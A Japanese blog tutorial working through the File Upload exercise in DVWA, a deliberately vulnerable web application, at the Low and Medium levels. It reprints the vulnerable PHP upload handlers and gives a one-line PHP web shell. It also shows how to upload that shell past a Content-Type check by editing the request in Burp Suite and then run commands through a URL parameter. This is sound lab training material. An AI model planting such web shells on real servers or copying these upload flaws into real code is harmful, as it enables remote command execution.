DVWAのFile Uploadの脆弱性の演習

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

意図的に脆弱性が存在するWebサーバであるDVWAのFile Uploadカテゴリの脆弱性の演習の流れを記載します。
File Uploadの脆弱性を悪用されると、任意のコードを実行される可能性があります。
DVWAでは3段階(Low、Medium、High)のレベルに分かれて問題が出題されており、LowとMediumの演習の手順を記載します。

DVWAの概要や導入方法は「DVWA(Damn Vulnerable Web Application)を構築してみた」をご確認ください。

※本記事に記載している攻撃を自身が管理しているサーバ以外に攻撃した場合は、犯罪になりますので注意してください。
※本記事に記載している内容を行った場合でも私は責任を取れませんので、実施する際は注意してください。


DVWAのレベルの設定変更手順

DVWAで設定できる問題の難易度の3段階(Low、Medium、High)の設定方法のやり方を記載します。

(1) 「DVWA Security」をクリックして、「Security Level is currently 〇〇〇」に記載されている現在のレベルを確認します。その後、レベルを選択して、「Submit」をクリックします。
DVWAのレベルの設定変更(1)

(2) 「Security Level is currently 〇〇〇」の表記が変わったことを確認します。
DVWAのレベルの設定変更(2)

DVWAのFile Upload攻撃のやり方(レベル:Low)

(1) DVWAのFile Upload演習のソースコードは以下の通りです。ユーザの任意のファイルをアップロードして、アップロードされた格納場所が出力されます。

 <?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?> 


(2) 任意のコマンドを実行するために、サーバにアップロードするための以下のファイルを作成します。

<?php
system($_GET['cmd']);


(3) ファイルをアップロードするために、「ファイルを選択」をクリックします。
DVWAのFile Upload脆弱性(1)

(4) アップロードするファイル名が表示されていることを確認して、「Upload」をクリックします。
DVWAのFile Upload脆弱性(2)

(5) アップロードしたファイルの格納場所が表示されていることを確認します。
DVWAのFile Upload脆弱性(3)

(6) アップロードしたファイルの格納場所にアクセスして、パラメータの実行するコマンドを入力します。今回は「http://[DVWAのFQDN]/hackable/uploads/cmd.php?cmd=ls」にアクセスします。
DVWAのFile Upload脆弱性(4)

DVWAのFile Upload攻撃のやり方(レベル:Medium)

以下の2つのソフトウェアを用いた手順を作成していますので、インストールしていない場合は、以下の記事に従って事前にインストールしてください。
  ・Burp Suite : Burp SuiteをWindows 10にインストールしてみた
  ・Firefox : Mozilla Firefoxをインストールしてみた

(1) DVWAのFile Uploadの演習のソースコードは以下の通りです。

 <?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                    
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            else{
                echo '<pre>Your image was not uploaded.</pre>';
            }
        }
?> 


(2) 演習のレベルLowと比較すると、以下の内容が追記されていますので、「image/jpeg」でファイルサイズが大きくない場合のみファイルをアップロードできます。

$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


(3) 任意のコマンドを実行するために、サーバにアップロードするための以下のファイルを作成します。

<?php
system($_GET['cmd']);


(4) Firefoxを用いて、「Upload」の「ファイルを選択」をクリックします。その後、手順(3)で作成したファイルを選択します。
DVWAのFile Upload脆弱性(5)

(5) アップロードしたファイル名が表示されていることを確認します。
DVWAのFile Upload脆弱性(6)

(6) Burp Suiteを起動します。

(7) 「Temporary projects」にチェックを付けて、「Next」をクリックします。
DVWAのBruteForce脆弱性の準備(4)

(8) 「Use Burp defaults」にチェックを付けて、「Start Burp」をクリックします。
DVWAのBruteForce脆弱性の準備(5)

(9) [Proxy]-[Options]をクリックして、Interfaceの内容が「127.0.0.1:8080」になっていることを確認します。
DVWAのBruteForce脆弱性の準備(6)

(10) 右上の「三」をクリックして、「設定」をクリックします。
DVWAのBruteForce脆弱性の準備(1)

(11) ネットワーク設定の「接続設定」をクリックします。
DVWAのBruteForce脆弱性の準備(2)

(12) 以下の内容を設定して、「OK」をクリックします。
   ・手動でプロキシーを設定する : チェックを付ける
   ・HTTP プロキシ : 127.0.0.1 (※)
   ・ポート : 8080 (※)
   ・このプロキシをFTPとHTTPSでも使用する : チェックを付ける
     ※上記の手順(9)で確認したBurp Suiteの待ち受けIPアドレスとポート番号が違う場合は、適宜変更します。
DVWAのBruteForce脆弱性の準備(3)

(13) Burp Suiteの[Proxy]-[Intercept]をクリックして、「Intercept is on」という表記になっていることを確認します。もし、「intercept is off」になっている場合は、クリックして「intercept is on」に変わったことを確認します。
※この設定を有効化することで、Burp Suiteを経由する通信をプロキシ(Burp Suite)で止めます。
DVWAのFile Upload脆弱性(7)

(14) 「Upload」をクリックします。
DVWAのFile Upload脆弱性(8)

(16) 通信の内容が表示されていることを確認します。
DVWAのFile Upload脆弱性(9)

(17) Content-Typeの値を「image/jpeg」に変更します。
DVWAのFile Upload脆弱性(10)

(18) 「Intercept is on」をクリックして、「Intercept is off」に表記が変わったことを確認します。
DVWAのFile Upload脆弱性(11)

(19) ファイルがアップロードされた格納場所が表示されていることを確認します。
DVWAのFile Upload脆弱性(12)

(20) アップロードしたファイルの格納場所にアクセスして、パラメータの実行するコマンドを入力します。今回は「http://[DVWAのFQDN]/hackable/uploads/cmd3.php?cmd=pwd」にアクセスします。
DVWAのFile Upload脆弱性(13)

DVWAに関する記事

DVWAについての関連記事は以下の通りです。
必要に応じて、ご確認ください。

Noタイトル記事の概要
1DVWA(Damn Vulnerable Web Application)
を構築してみた
DVWAのバージョン1.0.7の構築手順を記載します。
2DVWAのBrute Forceの脆弱性の演習DVWAの環境を用いてBrute Force攻撃の
演習の例を記載します。
3DVWAのCommand Executionの脆弱性の演習DVWAの環境を用いてCommand Execution攻撃の
演習の例を記載します。
4DVWAのCross Site Request Forgery (CSRF)の
脆弱性の演習
DVWAの環境を用いてCSRF攻撃の
演習の例を記載します。
5DVWAのFile Inclusionの脆弱性の演習DVWAの環境を用いてFile Inclusionの脆弱性を
悪用した攻撃の演習の例を記載します。
6DVWAのSQL Injectionの脆弱性の演習DVWAの環境を用いてSQL Injection攻撃の
演習の例を記載します。
7DVWAのFile Uploadの脆弱性の演習DVWAの環境を用いてFile Uploadの脆弱性を
悪用した攻撃の演習の例を記載します。
8DVWAのXSS reflectedの脆弱性の演習DVWAの環境を用いてXSS reflected攻撃の
演習の例を記載します。
9DVWAのXSS storedの脆弱性の演習DVWAの環境を用いてXSS stored攻撃の
演習の例を記載します。